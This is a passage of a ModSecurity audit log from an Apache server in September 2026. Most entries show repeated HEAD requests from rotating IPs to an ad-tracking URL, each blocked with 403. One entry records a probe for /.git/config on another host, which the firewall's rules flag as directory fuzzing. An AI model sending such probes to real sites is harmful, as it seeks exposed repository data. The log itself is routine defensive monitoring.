X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--94cd6131-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--94cd6131-E--

--94cd6131-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274062041197 7368 (- - -)
Stopwatch2: 1789274062041197 7368; combined=5418, p1=290, p2=4741, p3=97, p4=9, p5=281, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--94cd6131-Z--

--9f0e1307-A--
[13/Sep/2026:07:34:27.442081 +0300] aqYn02M7dE9KgIIOpQhixwAAAME 95.134.102.240 50316 127.0.0.1 7081
--9f0e1307-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.240
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--9f0e1307-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--9f0e1307-E--

--9f0e1307-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274067436545 5582 (- - -)
Stopwatch2: 1789274067436545 5582; combined=4034, p1=214, p2=3447, p3=61, p4=6, p5=306, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9f0e1307-Z--

--11e4d855-A--
[13/Sep/2026:07:34:27.840341 +0300] aqYn02M7dE9KgIIOpQhiyAAAANY 95.134.102.78 50326 127.0.0.1 7081
--11e4d855-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--11e4d855-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--11e4d855-E--

--11e4d855-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274067833871 6520 (- - -)
Stopwatch2: 1789274067833871 6520; combined=4875, p1=244, p2=4246, p3=70, p4=7, p5=307, sr=106, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--11e4d855-Z--

--8b6dd162-A--
[13/Sep/2026:07:34:28.230803 +0300] aqYn1DTJ6xTvcJoem7f2mwAAAFY 151.243.174.165 50340 127.0.0.1 7081
--8b6dd162-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--8b6dd162-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8b6dd162-E--

--8b6dd162-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274068218247 12611 (- - -)
Stopwatch2: 1789274068218247 12611; combined=18440, p1=209, p2=3493, p3=59, p4=6, p5=7469, sr=91, sw=0, l=0, gc=7204
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8b6dd162-Z--

--6f151b2e-A--
[13/Sep/2026:07:34:56.802501 +0300] aqYn8DTJ6xTvcJoem7f2nAAAAFA 46.203.158.126 60880 127.0.0.1 7081
--6f151b2e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.126
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--6f151b2e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6f151b2e-E--

--6f151b2e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274096789453 13100 (- - -)
Stopwatch2: 1789274096789453 13100; combined=18979, p1=250, p2=3488, p3=65, p4=7, p5=7711, sr=120, sw=0, l=0, gc=7458
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6f151b2e-Z--

--c5c8ea66-A--
[13/Sep/2026:07:34:57.160206 +0300] aqYn8WM7dE9KgIIOpQhiywAAANM 91.124.31.72 60884 127.0.0.1 7081
--c5c8ea66-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.72
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--c5c8ea66-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c5c8ea66-E--

--c5c8ea66-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274097154223 6021 (- - -)
Stopwatch2: 1789274097154223 6021; combined=4350, p1=230, p2=3764, p3=69, p4=6, p5=281, sr=98, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c5c8ea66-Z--

--a76f523b-A--
[13/Sep/2026:07:34:57.495813 +0300] aqYn8TTJ6xTvcJoem7f2nQAAAEI 46.203.158.252 60890 127.0.0.1 7081
--a76f523b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.252
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--a76f523b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a76f523b-E--

--a76f523b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274097488187 7689 (- - -)
Stopwatch2: 1789274097488187 7689; combined=5708, p1=267, p2=5000, p3=88, p4=9, p5=343, sr=113, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a76f523b-Z--

--f7df0865-A--
[13/Sep/2026:07:35:23.698697 +0300] aqYoCzTJ6xTvcJoem7f2nwAAAEQ 95.134.102.26 34616 127.0.0.1 7081
--f7df0865-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.26
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--f7df0865-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f7df0865-E--

--f7df0865-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274123692043 6706 (- - -)
Stopwatch2: 1789274123692043 6706; combined=4995, p1=309, p2=4232, p3=70, p4=9, p5=375, sr=167, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f7df0865-Z--

--5bb17542-A--
[13/Sep/2026:07:35:36.975897 +0300] aqYoGGM7dE9KgIIOpQhizgAAAMo 209.101.128.197 34894 127.0.0.1 7081
--5bb17542-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.197
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--5bb17542-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5bb17542-E--

--5bb17542-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274136969038 6906 (- - -)
Stopwatch2: 1789274136969038 6906; combined=5017, p1=250, p2=4344, p3=68, p4=8, p5=347, sr=108, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5bb17542-Z--

--f3fa6f2a-A--
[13/Sep/2026:07:35:37.249111 +0300] aqYoGTTJ6xTvcJoem7f2oQAAAE4 209.101.128.12 34908 127.0.0.1 7081
--f3fa6f2a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.12
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f3fa6f2a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f3fa6f2a-E--

--f3fa6f2a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274137238465 10762 (- - -)
Stopwatch2: 1789274137238465 10762; combined=8266, p1=539, p2=6921, p3=99, p4=11, p5=696, sr=176, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f3fa6f2a-Z--

--1589e272-A--
[13/Sep/2026:07:35:37.507514 +0300] aqYoGTTJ6xTvcJoem7f2ogAAAEo 45.91.4.249 34922 127.0.0.1 7081
--1589e272-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.249
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--1589e272-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1589e272-E--

--1589e272-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274137500762 6804 (- - -)
Stopwatch2: 1789274137500762 6804; combined=5285, p1=257, p2=4577, p3=100, p4=9, p5=342, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1589e272-Z--

--d77b4d2f-A--
[13/Sep/2026:07:35:39.173273 +0300] aqYoGzTJ6xTvcJoem7f2owAAAEs 154.54.100.176 34932 127.0.0.1 7081
--d77b4d2f-B--
GET /.git/config HTTP/1.1
Host: axapres.ro
X-Real-IP: 154.54.100.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip

--d77b4d2f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d77b4d2f-E--

--d77b4d2f-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqYoGzTJ6xTvcJoem7f2owAAAEs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqYoGzTJ6xTvcJoem7f2owAAAEs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqYoGzTJ6xTvcJoem7f2owAAAEs"]
Stopwatch: 1789274139135671 37652 (- - -)
Stopwatch2: 1789274139135671 37652; combined=35895, p1=925, p2=34853, p3=58, p4=8, p5=51, sr=754, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d77b4d2f-Z--

--025c6b57-A--
[13/Sep/2026:07:35:40.307412 +0300] aqYoHGM7dE9KgIIOpQhizwAAAMU 209.101.128.172 34944 127.0.0.1 7081
--025c6b57-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--025c6b57-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--025c6b57-E--

--025c6b57-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274140300458 6994 (- - -)
Stopwatch2: 1789274140300458 6994; combined=4560, p1=294, p2=3943, p3=73, p4=9, p5=241, sr=127, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--025c6b57-Z--

--5decba69-A--
[13/Sep/2026:07:35:40.592870 +0300] aqYoHDTJ6xTvcJoem7f2pAAAAFE 45.91.4.223 34956 127.0.0.1 7081
--5decba69-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.223
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--5decba69-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5decba69-E--

--5decba69-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274140585996 6934 (- - -)
Stopwatch2: 1789274140585996 6934; combined=5075, p1=265, p2=4446, p3=64, p4=8, p5=292, sr=118, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5decba69-Z--

--a439a47c-A--
[13/Sep/2026:07:37:08.824120 +0300] aqYodCsVWymXUono-eRRYAAAABQ 45.91.4.41 34828 127.0.0.1 7081
--a439a47c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.41
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--a439a47c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a439a47c-E--

--a439a47c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274228801682 22508 (- - -)
Stopwatch2: 1789274228801682 22508; combined=16266, p1=431, p2=15223, p3=158, p4=9, p5=444, sr=205, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a439a47c-Z--

--bcff6f1a-A--
[13/Sep/2026:07:37:09.076684 +0300] aqYodSsVWymXUono-eRRYQAAAA8 209.101.128.215 34840 127.0.0.1 7081
--bcff6f1a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--bcff6f1a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--bcff6f1a-E--

--bcff6f1a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274229070994 5739 (- - -)
Stopwatch2: 1789274229070994 5739; combined=4360, p1=218, p2=3783, p3=61, p4=7, p5=291, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bcff6f1a-Z--

--0ed9951c-A--
[13/Sep/2026:07:37:09.342062 +0300] aqYodSsVWymXUono-eRRYgAAABU 45.91.4.70 34844 127.0.0.1 7081
--0ed9951c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.70
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--0ed9951c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--0ed9951c-E--

--0ed9951c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274229328660 13539 (- - -)
Stopwatch2: 1789274229328660 13539; combined=10031, p1=594, p2=8620, p3=152, p4=31, p5=633, sr=308, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0ed9951c-Z--

--d8aede7b-A--
[13/Sep/2026:07:37:25.783736 +0300] aqYohSsVWymXUono-eRRZQAAAAE 151.243.174.108 60434 127.0.0.1 7081
--d8aede7b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.108
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--d8aede7b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d8aede7b-E--

--d8aede7b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274245777744 6064 (- - -)
Stopwatch2: 1789274245777744 6064; combined=4345, p1=275, p2=3647, p3=61, p4=7, p5=354, sr=142, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8aede7b-Z--

--49a1d979-A--
